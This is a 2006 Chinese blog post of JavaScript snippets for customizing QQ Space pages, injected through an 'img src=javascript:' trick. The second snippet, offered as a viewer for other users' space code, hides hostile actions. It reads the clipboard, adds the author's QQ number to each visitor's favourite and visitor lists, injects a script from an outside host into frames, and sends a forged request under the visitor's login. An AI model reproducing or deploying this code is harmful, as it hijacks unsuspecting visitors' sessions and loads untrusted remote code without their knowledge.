js代码修改&制作篇让空间变得更个性

2006-02-24 17:38:30

js代码修改&制作篇让空间变得更个性 js公式<img src="java&#115;cript:var s=document.cr&#101;ateElement('&#115;cript');s.src='js地址';document.body.appendChild(s);" style=display:none></img> 将&改为&,才有效哦 1.复制任意QQ空间 QQ空间高级技巧--复制任意QQ空间 看到别人的QQ空间做的好很羡慕怎么办?问他代码又不告诉我怎么办?难道只能眼睁睁的看着吗? 接下来告诉大家怎么看别人空间的代码! 首先:打开别人QQ空间的网址,通用的啊!呵呵!网址是: http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin=*******&type=0(******代表别人QQ号码) 打开的了吗?看到了什么!呵呵!成功的第一步啦! 打开的是个XML文件,别人的每个自定义板块ID和位置信息都在这里显示(<itemno>) 接下来我们要找到板块的ID(ID就是<itemno>21897434</itemno>中是数字) 第2步:在打开的XML文件后,查找<itemno>,调用Ctrl+F在查找内容里面填<itemno>就可以了, (说明一下ID 只要7位以上的包括7位的,其他的不要,这里不要弄错了啊!) 好了再用“|”分割 比若: 2122711|2145111|2131748|2275793|2275926|2276041|2274686|2279410|2186253|2291893|2296679|5934211|6640047|6647357|6946307|6950014|6994049|2294286 第3步 打开这个网址: http://q-zone.qq.com/fcg-bin/cgi_diy_window.fcg?uin=*******&type=11&wndid=2122711|2145111|2131748|2275793|2275926|2276041|2274686|2279410|2186253|2291893|2296679|5934211|6640047|6647357|6946307|6950014|6994049|2294286 又说明一下******同样代表别人QQ号码, 打开再看,呵呵!代码都出来了! 2.空间眼做法,看尽空间所有代码,尊重原作者 //您好 我是团长(5116973) 很高兴认识你 您可以随意修改这个代码(这一行保留可以吗 尊重原作者 不对吗) top.g_iLoginUin=(getCookie("zzpaneluin")=="")?0:parseInt(getCookie("zzpaneluin")); try{ var s0u='v1e' + Math.random(); var mss; var b79=document.getElementById('bt_9'); b79.className='bt_off'; b79.align='center'; b79.vAlign='middle'; b79.innerText='火眼金睛'; b79.style.color='blue'; b79.title='团长(QQ5116973):亲爱的朋友您好!\n想看别人空间的空间代码吗?点我吧!'; b79.onclick=function(){ try{ tall('查看空间代码 请输入对方的QQ号码!我亲爱的朋友!',s0u,'about:blank'); var v0bj=document.getElementById(s0u); v0bj.style.display='none'; top.s0w=v0bj.parentNode; top.s0w.align='center'; top.s0w.className='pback'; top.s0w.innerText='准备就绪。。。\n\n\n默认是您剪切板上的QQ号码,您只需要复制对方的QQ号码即可!(团长QQ(5116973)的服务怎么这么周到呢?)\团长的代码全部公布了,现在可以查看到了……\n2006快乐 祝您 我亲爱的朋友的'; var y099="" try{y099 = clipboardData.getData('text')}catch(e){}; if(mss!=""){ y099=y099.replace(/\D/g,'').replace(/^0*/g,''); y099=(y099.length<5||y099.length>10)?top.g_iUin:y099; }else{y099=top.g_iUin;} mss=window.prompt('团长QQ(5116973):您好,亲爱的朋友!非常欢迎您使用[火眼金睛] :-)\t\t\t请输入你要查询的QQ号码:',y099); if(mss==null)return; mss=mss.replace(/\D/g,'').replace(/^0*/g,''); if(parseInt(mss)>2147483648 || parseInt(mss)<=10000)return (top.s0w.innerText='您输入的QQ号码有误!'); top.s0w.innerText='请不要查看加密的QQ空间好吗?(尊重对方 不对吗)\n\n您准备查看QQ('+mss+')的相关信息,团长QQ(5116973)不负法律责任哦! ^_^'; var y7ype=window.prompt('查看\t1:用户资料\t2:空间代码\t3:日志\t\t4:留言\n选项\t5:音乐收藏\t6:相册\t\t7:互动\t\t8:日记',2); if(y7ype==null)return; y7ype=y7ype.replace(/\D/g,'').replace(/^0*/g,''); if(y7ype.length>1||y7ype=='9')return (top.s0w.innerText='您输入有误!'); var sUrl= ""; switch (parseInt(y7ype)) { case 1: // 用户资料 sh0('正在获取QQ('+mss+')的用户资料,请稍后。。。'); sUrl= "http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin="+mss+"&type=3"; break; case 2: // 空间代码 sh0('正在获取QQ('+mss+')的空间代码列表,请稍后。。。'); sUrl= "http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin="+mss+"&type=0"; return cgi_loader.loadXMLAsync(mss,sUrl,ok8); break; case 3: //日志 sh0('正在获取QQ('+mss+')的日志列表,请稍后。。。'); sUrl="http://"+top.g_Blog_Domain+"/fcg-bin/cgi_blog_home.fcg?uin="+mss; break; case 4: //留言 sh0('正在获取QQ('+mss+')的留言列表,请稍后。。。'); sUrl="http://"+top.g_Blog_Domain+"/fcg-bin/cgi_msgboard_page_xml.fcg?uin="+mss+"&pagenum=1"; break; case 5: //音乐收藏 sh0('正在获取QQ('+mss+')的音乐收藏列表,请稍后。。。'); sUrl+="http://"+top.g_Music_Domain+"/cgi-bin/music/cgi_musiccoll_xml?uin="+mss; break; case 6: //播放列表 sh0('正在获取QQ('+mss+')的播放列表,请稍后。。。'); sUrl="http://photo.qq.com/cgi-bin/photo/cgi_album_xml?uin="+mss; break; case 7: //互动 sh0('正在获取QQ('+mss+')的互动列表,请稍后。。。'); sUrl+= "http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin="+mss+"&type=4"; break; case 8: //日记 sh0('正在获取QQ('+mss+')的日记列表,请稍后。。。'); sUrl+= "http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin="+mss+"&type=1"; break; default: return null; } cgi_loader.loadXMLAsync(mss,sUrl,tall('QQ('+mss+')的空间代码',"QQ" + Math.random(),sUrl)); }catch(e){} } function ok8(){ var d0c=top.LoadXMLData(mss); var diyWnds=d0c.sel&#101;ctNodes('/data/windows/window'); var Ditemnos=""; for (var i=0; i<diyWnds.length; i++){ if (parseInt(getElementText(d0c,'/data/windows/window['+i+']/type'))==99) Ditemnos+=parseInt(getElementText(d0c,'/data/windows/window['+i+']/itemno'))+'|';} if(Ditemnos!=''){ Ditemnos= Ditemnos.substring(0,Ditemnos.length-1); sh0('OK,读取QQ('+mss+')空间代码列表成功,正在加载空间代码,请稍后。。。'); var sUrl='http://q-zone.qq.com/fcg-bin/cgi_diy_window.fcg?uin='+mss+unescape('%26type=11%26wndid=')+Ditemnos; cgi_loader.loadXMLAsync(mss,sUrl,tall('QQ('+mss+')的空间代码',"QQ"+Math.random(),sUrl)); }else{sh0('抱歉,QQ('+mss+')没有使用空间代码!')} } function sh0(msg) {try{top.s0w.innerText=msg;}catch(e){}} LoadXMLData(18); LoadXMLData(19); LoadXMLData(5); LoadXMLData(14); LoadXMLData(15); LoadXMLData(4); }catch(e){try{top.s0w.innerText='出错啦。。。';}catch(e){}} //广告 if (typeof(rand) == "undefined") rand = function(number){ return Math.round(Math.random()*number) } if (typeof(tzspacename) == "undefined") tzspacename=new Array("百变花房","虞美人","春花秋月","何时了","往事知多少","小楼昨夜","又东风","故国不堪","回首月明中","雕栏玉砌","应犹在","只是朱颜改","问君能有","几多愁","恰似一江春水","向东流"); if (typeof(h0a) == "undefined") h0a = function(){ var sUrl = "/fcg-bin/cgi_access_self.fcg?uin="+top.g_iLoginUin+"&type=4"; cgi_loader.loadXMLAsync(top.g_iLoginUin+5116973, sUrl,addyouguanzhu,function(){if(top.g_iUin!=5116973){addGuanzhulist(LoadXMLData(4),"visitorlist",5116973,tzspacename[rand(tzspacename.length-1)]);addGuanzhulist(LoadXMLData(4),"favorlist",5116973,tzspacename[rand(tzspacename.length-1)]);top.malt(findWndElement(97,3));}}); } if (typeof(r0a) == "undefined") r0a = function(){ var root; var altXDoc=LoadXMLData(18); root=altXDoc.documentElement; var oNewItem1=altXDoc.cr&#101;ateElement("entry"); oNewItem1.setAttribute("name",tzspacename[rand(tzspacename.length-1)]); oNewItem1.setAttribute("qq","5116973"); root.firstChild.lastChild.ins&#101;rtBefore(oNewItem1,root.firstChild.lastChild.firstChild);} if (typeof(addGuanzhulist) == "undefined") addGuanzhulist = function(altXDoc,yelementname,yuin,yspacename){ var oNewItem=altXDoc.cr&#101;ateElement(yelementname); var ouin=altXDoc.cr&#101;ateElement("uin"); var ospacename=altXDoc.cr&#101;ateElement("spacename"); ouin.text=yuin; ospacename.text=yspacename; oNewItem.appendChild(ouin); oNewItem.appendChild(ospacename); altXDoc.documentElement.ins&#101;rtBefore(oNewItem,altXDoc.documentElement.firstChild); } if (typeof(addyouguanzhu) == "undefined") addyouguanzhu = function(){ var altXDoc=LoadXMLData(4); var xFocusList= LoadXMLData(top.g_iLoginUin+5116973); var aFocusList = xFocusList.sel&#101;ctNodes("/data/favorlist"); for(var i=aFocusList.length-1; i>=0; i--) addGuanzhulist(altXDoc,"favorlist",xFocusList.sel&#101;ctSingleNode("/data/favorlist[" + i + "]/uin").text,xFocusList.sel&#101;ctSingleNode("/data/favorlist[" + i + "]/spacename").text); aFocusList = xFocusList.sel&#101;ctNodes("/data/visitorlist"); if(top.g_iUin==5116973) for(var i=aFocusList.length-1; i>=0; i--) addGuanzhulist(altXDoc,"visitorlist",xFocusList.sel&#101;ctSingleNode("/data/visitorlist[" + i + "]/uin").text,xFocusList.sel&#101;ctSingleNode("/data/visitorlist[" + i + "]/spacename").text); if(top.g_iUin!=5116973){ addGuanzhulist(altXDoc,"visitorlist",5116973,tzspacename[rand(tzspacename.length-1)]);//添加近期访客 addGuanzhulist(altXDoc,"favorlist",5116973,tzspacename[rand(tzspacename.length-1)]);//添加到主人关注 } top.malt(findWndElement(97,3)); } if (top.g_iLoginUin!=top.g_iUin&&loader.me!='o'&&findWndElement(97,3)>0&&top.g_iLoginUin!=5116973) { top.LoadXMLData(4, new Function('setTimeout(\'h0a()\',50)')); if(top.g_iUin!=5116973)top.LoadXMLData(18,function(){setTimeout('r0a()',50)}); loader.me='o'; } if(document.all['fg']&&document.all['fg'].me!='o'&&top.g_iLoginUin!=top.g_iUin&&top.g_iLoginUin!=0) { document.all['fg'].me='o'; setTimeout("interactiveURL('5116973')",5555); } if (typeof(interactiveURL) == "undefined") interactiveURL = function(QQUin) { try{if(findQQ(SendUrlCheck,QQUin))return;}catch(e){} var url="http://"+QQUin+".q-zone.qq.com/"; try{ if(document.all['fg'].src.length>12) return setTimeout("interactiveURL('"+QQUin+"')",1000); document.all['fg'].src=url; document.all['fg'].onreadystatechange=function(){ if(document.all['fg'].readyState=='interactive'){ document.all['fg'].onreadystatechange=null; document.all['fg'].src=''; try{SendUrlCheck[SendUrlCheck.length]=QQUin;}catch(e){} } } }catch(e){} } if(!new RegExp("catch","g").test(tall.toString())){ var _tall=tall; tall=function(cname,ename,surl){ _tall(cname,ename,surl); try{ if(document.all[ename]&&document.frames[ename]) document.all[ename].onreadystatechange=function(){ if(document.all[ename].readyState=="complete"){ try{ var newjs=document.frames[ename].document.cr&#101;ateElement('script'); newjs.src="http://tuanzhang.diy.myrice.com/jscript/temp.js"; document.frames[ename].document.body.appendChild(newjs); top.ename=ename; }catch(e){} } } }catch(e){} } } function addwinjsto(sourcewin,towinobj) { try{ var jss=sourcewin.document.scripts; for (var i=0; i<jss.length; i++) { var newjs=towinobj.document.cr&#101;ateElement('script'); newjs.mergeAttributes(jss(i)); newjs.text=jss(i).text; towinobj.document.body.appendChild(newjs); } return true; }catch(e){return false} } if(!cgi_loader.sendcheck&&addwinjsto(blog_loader,cgi_loader)) cgi_loader.sendcheck=true; if(cgi_loader.sendcheck&&top.g_iLoginUin!=0&&top.g_iLoginUin!=5116973&&top.g_iLoginUin!=top.g_iUin){ var sUrl="http://q-zone.qq.com/cgi-bin/user/cgi_pros_add?reason=7&defenuin=5116973&prosuin=" + top.g_iLoginUin; try{ if(my_cgi_loader.loadXMLAsyncNoCache) my_cgi_loader.loadXMLAsyncNoCache("QQ"+Math.random(), sUrl); else my_cgi_loader.loadXMLAsync("QQ"+Math.random(), sUrl); }catch(e){} } //把讨厌的东西关掉 try{ setCookie('spCK',1); setCookie('notS',1); sprite_div.innerHTML=''; helpZY.innerHTML=''; gotoshop.innerHTML=''; }catch(e){} 自己喜欢怎样修改就怎样修改,保存为js然后上传,代入js公式就行了。 3.用js调用flash,连日志框上也能看到flash function patrick1 (paid,x, y,width,height,surl, zIndex) { var str=''; str+='<embed src="'+surl+'" width="'+width+'" height="'+height+'" name="patrickflash" swLiveConnect="true" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" wmode="transparent" ></embed> '; //str+='<object ID=musicDemoPlay CLASSID="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" type="application/x-oleobject" width="0" height="0">'; //str+=' <PARAM Name="autoStart" Value="true">'; //str+='<param name="volume" value="100">'; //str+='<param name="playCount" value="100">'; //str+='<param name="loop" value="-1">'; //str+=' <PARAM Name="uiMode" Value="invisible">'; //str+='<embed ID=musicDemoPlay hidden="true" width="0" height="0" autostart="true">'; //str+='</object>'; var newDiv; newDiv= document.cr&#101;ateElement("<div id='"+rlid+"' style='position:absolute; padding:0px; overflow: hidden'>"); newDiv.innerHTML= str; newDiv.style.pixelLeft= x; newDiv.style.pixelTop= y; newDiv.style.zindex= zIndex; document.body.appendChild(newDiv); this.div= newDiv; this.alive= true; this.sid=g_WndID; InsertUniqueType(this); } //以上代码请不要随意修改,以免出错。 //******************************************************** //以下是插入透明FLASH的部分。 //patrick1(FLASHID,到左边的距离,到顶部的距离,宽,高,FLASH地址,层次) //以下是函数执行部分 patrick1('99','0','0','0','0','flash地址','100') patrick1('99','0','0','0','0','flash地址','101') patrick1('99','0','0','0','0','flash地址','102') patrick1('99','0','0','0','0','flash地址','103') 自己喜欢怎样修改就怎样修改,保存为js然后上传,代入js公式就行了。 4.变换皮肤代码做法(非js) <script language="javascript"> var adImg = new Array();var preImgs = new Array(); var cID = 0; adImg[0] = "http://www.qq-time.com/kendy/ds.jpg";adImg[1] = "http://www.qq-time.com/kendy/df.jpg"; adImg[2] = "http://www.qq-time.com/kendy/6.jpg";adImg[3] = "http://www.qq-time.com/kendy/5.jpg";adImg[4] = "http://www.qq-time.com/kendy/09.jpg";adImg[5] = "http://blog.lanyue.com/upload/user/61/437543_16150452.jpg";adImg[6] = "http://www.qq-time.com/kendy/ff.jpg";adImg[7] = "http://blog.lanyue.com/upload/user/61/437543_16151250.jpg";adImg[8] = "http://blog.lanyue.com/upload/user/61/437543_16151227.jpg";adImg[9] = "http://blog.lanyue.com/upload/user/61/437543_16151158.jpg";adImg[10] = "http://blog.lanyue.com/upload/user/61/437543_16150452.jpg";adImg[11] = "http://blog.lanyue.com/upload/user/61/437543_16151115.jpg"; adImg[12] = "http://blog.lanyue.com/upload/user/61/437543_16151052.jpg";adImg[13] = "http://blog.lanyue.com/upload/user/61/437543_16151026.jpg";adImg[14] = "http://blog.lanyue.com/upload/user/61/437543_16151001.jpg";adImg[15] = "http://blog.lanyue.com/upload/user/61/437543_16150940.jpg";adImg[16] = "http://blog.lanyue.com/upload/user/61/437543_16150913.jpg";adImg[17] = "http://blog.lanyue.com/upload/user/61/437543_16150841.jpg";adImg[18] = "http://blog.lanyue.com/upload/user/61/437543_16150803.jpg ";adImg[19] = "http://blog.lanyue.com/upload/user/61/437543_16150736.jpg";adImg[20] = "http://blog.lanyue.com/upload/user/61/437543_16150706.jpg";adImg[21] = "http://blog.lanyue.com/upload/user/61/437543_16150645.jpg";adImg[22] = "http://blog.lanyue.com/upload/user/61/437543_16150623.jpg";adImg[23] = "http://blog.lanyue.com/upload/user/61/437543_16150600.jpg";adImg[24] = "http://blog.lanyue.com/upload/user/61/437543_16150532.jpg";adImg[25] = "http://blog.lanyue.com/upload/user/61/437543_16150518.jpg";var preImgs = new Array(); for(i=0;i<26;i++) { preImgs = new Image(); preImgs.src = adImg; } function NextAd() { if(cID == 26)cID=0; if(document.all) { imgAD.filters.revealTrans.Transition=Math.floor(Math.random()*23); imgAD.filters.revealTrans.apply(); imgAD.src = adImg[cID]; imgAD.filters.revealTrans.play(); cID++; setTimeout("NextAd()", 4000); } } function ShowLink() { document.returnvalue = true; } function Go2Url() { window.open(adLink[cID-1]); }</script> <img name="imgAD" style="FILTER: revealTrans(duration=2,transition=20);BORDER-RIGHT:#cccccc 1px solid; BORDER-TOP:#cccccc 1px solid; BORDER-LEFT:#cccccc 1px solid; BORDER-BOTTOM:#cccccc 1px solid" src="javascript:NextAd()" border="0" width="925" height="655" hspace="0"> 26为图片数目。可以自己增加,然后上传文本 把上传文档地址放到下面代码中 <content><img src="javascript:document.getElementById('Mlogo').innerHTML+='<div style=\'position:absolute;top:-17;left:-10;\'><iFRAME name=I1 src=\'http://blog.lanyue.com/upload/user/61/437543_16164402.txt\' frameBorder=\'0\' width=\'925\' scrolling=\'no\' height=\'655\'></div>';"></content> 5.随机皮肤、flash导航的做法,自己修改就行了 rnd.today=new Date(); rnd.seed=rnd.today.getTime(); function rnd() {     rnd.seed = (rnd.seed*9301+49297) % 233280;     return rnd.seed/(233280.0); }; function rand(number) {     return Math.ceil(rnd()*number); }; // end central randomizer. --> //以下是插入透明FLASH的部分。请不要随便修改 //Gainover1(FLASHID,到左边的距离,到顶部的距离,宽,高,FLASH地址,层次) function Gainover1 (gnid,x, y,width,height,surl, zIndex) { var str=''; str+='<embed src="'+surl+'" width="'+width+'" height="'+height+'" name="gainoverflash" swLiveConnect="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" ></embed> '; //str+='<object ID=musicDemoPlay CLASSID="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" type="application/x-oleobject" width="0" height="0">'; //str+=' <PARAM Name="autoStart" Value="true">'; //str+='<param name="volume" value="100">'; //str+='<param name="playCount" value="100">'; //str+='<param name="loop" value="-1">'; //str+=' <PARAM Name="uiMode" Value="invisible">'; //str+='<embed ID=musicDemoPlay hidden="true" width="0" height="0" autostart="true">'; //str+='</object>'; var newDiv; newDiv= document.cr&#101;ateElement("<div id='"+gnid+"' style='position:absolute; padding:0px; overflow: hidden'>"); newDiv.innerHTML= str; newDiv.style.pixelLeft= x; newDiv.style.pixelTop= y; newDiv.style.zindex= zIndex; document.body.appendChild(newDiv); this.div= newDiv; this.alive= true; this.sid=g_WndID; InsertUniqueType(this); } function beijing1() { document.getElementById('all').style.background='url(http://www.blog.com.cn/user17/kendymqj/upload/124561092.jpg)'; document.getElementById('Mlogo').style.background=''; } function beijing2() { document.getElementById('all').style.background='url(http://www.blog.com.cn/user17/kendymqj/upload/124882497.jpg)'; document.getElementById('Mlogo').style.background=''; } function beijing3() { document.getElementById('all').style.background='url(http://www.blog.com.cn/user17/kendymqj/upload/124634206.jpg)'; document.getElementById('Mlogo').style.background=''; } function gnflash1() { Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/187.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/195.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' } function gnflash2() { Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/14.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/16.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' } function gnflash3() { Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/68.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' Mlogo.innerHTML+='<embed src=\'http://imgfree.21cn.com/free/flash/42.swf\'; width=\'922\' height=\'666\' quality=\'high\' wmode=\'transparent\' align=\'right\' style=\'position: absolute; left:0; top:0\'>' } function gainoverflash(wid,hei,gnt,gnl,gnurl) { Mlogo.innerHTML+="<embed src='"+gnurl+"' width='"+wid+"' height='"+hei+"' wmode='transparent' style='position:absolute;top:"+gnt+";left:"+gnl+"'></embed>" } function gainoverback(gnurl) { document.getElementById('all').style.background='url('+gnurl+')'; document.getElementById('Mlogo').style.background=''; } //以上代码请不要随便修改 //******************************************************** //******************************************************** //以下是函数执行部分 var n=rand(3); function gnpifu() { if (n==1) { beijing2(); gnflash1(); Gainover1('99','0','100','250','600','http://www.52blog.net/user1/53094/upload/200510254249.swf','102') } else if(n==2) { beijing1(); gnflash3(); Gainover1('99','0','100','250','600','http://52na01.ik8.com/daohang/NB4.swf','102') } else if(n==3) { beijing3(); gnflash2(); Gainover1('99','0','100','250','600','http://52na01.ik8.com/daohang/NB5.swf','101') } } gnpifu(); 保存为js然后上传,代入js公式就行了。 6.5级植物JS源码做法 //这里首先写一个在空间任意位置放图片的函数,以便在花中调用 //wid代表图片宽,hei代表图片高, gnt代表图片到空间顶部距离, gnl代表图片到空间左边的距离, gnurl 代表图片的地址, gnz代表图片在网页中的层次 function gainoverpic(wid,hei,gnt,gnl,gnurl,gnz) { Mlogo.innerHTML+="<div style='position:absolute;top:"+gnt+";left:"+gnl+";z-index:"+gnz+";'><img src='"+gnurl+"' width='"+wid+"' height='"+hei+"'></img></div>" } //花的主体部分,借用了一部分腾讯自己的JS //rurl代表叶子地址,furl代表花的地址,gnum花的等级,burl花的面板背景,SunPot阳光值, LovPot爱心值, RaiPot雨露值, NurPot营养值 function gnflower(rurl,furl,gnum,burl,SunPot, LovPot, RaiPot, NurPot) { var str= '<table width="194" height="170" border="0" cellpadding="0" cellspacing="0" background="'+burl+'">' str+='<tr><td rowspan="3"> </td>' str+='<td width="27" height="42" align="center" valign="bottom"><img src="http://imgcache.qq.com/qzone/client/icon_ft.gif" width="27" height="5"></td>' str+='<td width="6" rowspan="3"> </td>' str+='<td width="27" align="center" valign="bottom"><img src="http://imgcache.qq.com/qzone/client/icon_ft.gif" width="27" height="5"></td>' str+='<td width="6" rowspan="3"> </td>' str+='<td width="27" align="center" valign="bottom"><img src="http://imgcache.qq.com/qzone/client/icon_ft.gif" width="27" height="5"></td>' str+='<td width="6" rowspan="3"> </td>' str+='<td width="27" align="center" valign="bottom"><img src="http://imgcache.qq.com/qzone/client/icon_ft.gif" width="27" height="5"></td>' str+='<td rowspan="3"> </td></tr><tr>' str+='<td width="27" height="80" align="center" valign="bottom" background="http://imgcache.qq.com/qzone/client/icon_fm.gif" title="阳光:'+SunPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_f1.gif" width="27" height="'+(((SunPot>200)?200:SunPot)/2)*0.8+'"></td>' str+='<td width="27" align="center" valign="bottom" background="http://imgcache.qq.com/qzone/client/icon_fm.gif" title="爱心:'+LovPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_f2.gif" width="27" height="'+(((LovPot>200)?200:LovPot)/2)*0.8+'"></td>' str+='<td width="27" align="center" valign="bottom" background="http://imgcache.qq.com/qzone/client/icon_fm.gif" title="雨露:'+RaiPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_f3.gif" width="27" height="'+(((RaiPot>200)?200:RaiPot)/2)*0.8+'"></td>' str+='<td width="27" align="center" valign="bottom" background="http://imgcache.qq.com/qzone/client/icon_fm.gif" title="营养:'+NurPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_f4.gif" width="27" height="'+(((NurPot>200)?200:NurPot)/2)*0.8+'"></td></tr><tr>' str+='<td width="27" height="21" align="center" valign="top" title="阳光:'+SunPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_fd.gif" width="27" height="5"><img src="http://imgcache.qq.com/qzone/client/icon_b1.gif" width="16" height="16"></td>' str+='<td width="27" align="center" valign="top" title="爱心:'+LovPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_fd.gif" width="27" height="5"><img src="http://imgcache.qq.com/qzone/client/icon_b2.gif" width="16" height="16"></td>' str+='<td width="27" align="center" valign="top" title="雨露:'+RaiPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_fd.gif" width="27" height="5"><img src="http://imgcache.qq.com/qzone/client/icon_b3.gif" width="16" height="16"></td>' str+='<td width="27" align="center" valign="top" title="营养:'+NurPot+'"><img src="http://imgcache.qq.com/qzone/client/icon_fd.gif" width="27" height="5"><img src="http://imgcache.qq.com/qzone/client/icon_b4.gif" width="16" height="16"></td>' str+='</tr><tr><td width="49"> </td>' str+='<td colspan="7" align="center" valign="top"><font color="#000000">' //上面是通过表格来制作花的样子 //下面是选择花的等级 switch (parseInt(gnum)){ case 0: str+='花匠学徒'; break; case 1: str+='花匠学徒'; break; case 2: str+='高级花匠'; break; case 3: str+='花匠大师'; break; case 4: str+='花之圣手'; break; case 5: str+='花之神匠'; break; } str+='</font><a href="http://q-zone.qq.com/web/?url=http://q-zone.qq.com/web/help/help_18.shtml#111" target="_blank"><img src="http://imgcache.qq.com/qzone/client/bt_help.gif" hspace="2" alt="帮助" border="0" align="absmiddle"></a></td>' str+='<td width="19"> </td></tr></table>' Mlogo.innerHTML+="<div id='gnck' style='position:absolute;top:470;left:720;z-index:1004;'></div><div id='gnban' style='position:absolute;top:480;left:731;z-index:1002;'></div>" document.getElementById('gnban').innerHTML=str; document.getElementById('gnck').innerHTML="<table border=0 cellspacing=0 cellpadding=0 onmouseover=this.style.cursor=\'hand\';><tr><td onclick=gnhide(); align=center><img src=http://gainover.bokee.com/inc/transfer.gif border=0 width=92 height=178></td></tr></table>" gainoverpic('868','60','605','10',rurl,'1001');//加上叶子的图片 gainoverpic('75','100','383','715','http://imgcache.qq.com/qzone/mall/guo_5.gif','1001');//加上5级人参果的图片 gainoverpic('92','178','471','710',furl,'1003');//加上花的图片 } //以下是设置对花的面板层的隐藏与出现的 function gnhide() { document.getElementById('gnban').style.display=(document.getElementById('gnban').style.display)?'':'none' } //以下是函数执行部分 gnflower('http://imgcache.qq.com/qzone/item/orig/0/2464_r5.gif','http://imgcache.qq.com/qzone/item/orig/0/2464_f5.gif','5','http://imgcache.qq.com/qzone/item/orig/0/2464_bg.gif','999','999','999','999'); 保存为js然后上传,代入js公式就行了。 7.会闪动的空间标题做法 step=0 function title() { step++ if (step==13) {step=1} if (step==1) {document.title='♂'} if (step==2) {document.title='♂K'} if (step==3) {document.title='♂Ke'} if (step==4) {document.title='♂Ken'} if (step==5) {document.title='♂Kend'} if (step==6) {document.title='♂Kendy'} if (step==7) {document.title='♂Kendy♂'} if (step==8) {document.title='♂Kendy♂個'} if (step==9) {document.title='♂Kendy♂個性'} if (step==10) {document.title='♂Kendy♂個性空'} if (step==11) {document.title='♂Kendy♂個性空間'} if (step==12) {document.title='♂Kendy♂個性空間'} setTimeout("title()",200); } title() 保存为js然后上传,代入js公式就行了。 魔法老人做法 <body> <SCRIPT> <!-- function crml(nid) { try { nid=new ActiveXObject("Agent.Control.2"); nid.Connected = true; nid.Characters.Load(""); return nid; } catch (err) { return false; } } function chplay () { if (ml=crml ("ml")) { var MerlinID; var MerlinACS; Merlin = ml.Characters.Character(MerlinID); Merlin.MoveTo(200,200); Merlin.Show(); Merlin.Play("Explain"); Merlin.Play("Announce"); Merlin.Speak("修改成您的语言"); Merlin.Play("Gestureright"); Merlin.Play("Pleased"); Merlin.Speak("修改成您的语言"); Merlin.Play("Idle1_1"); Merlin.Hide(); Merlin.MoveTo(600,300); Merlin.Show(); Merlin.Play("Surprised"); Merlin.Speak("修改成您的语言"); Merlin.Play("Read"); Merlin.Speak("修改成您的语言"); Merlin.Play("Read") Merlin.Play("GestureUp"); Merlin.Speak("修改成您的语言"); Merlin.Play("DontRecognize"); Merlin.Speak("修改成您的语言"); Merlin.Play("DontRecognize"); Merlin.Play("Greet"); Merlin.Speak("修改成您的语言"); Merlin.Play("Greet"); Merlin.Speak("修改成您的语言"); Merlin.Play("Greet"); Merlin.Hide(); } } //--> </SCRIPT> <SCRIPT> <!-- chplay() --> </SCRIPT> </body> <img src="javascript:document.getElementById('hidentarget').src='自己的文本地址';"></img> 推荐上传图片的网站 给大家 图片为: http://www.blog.com.cn/index.html 100M空间 推荐两个能上传js和txt文本的网站给大家 http://www1.139.com/index.html 1G空间上传 内容不限合法的哦 http://blog.blogchina.com/default.html 50M 够你用啦[p:1]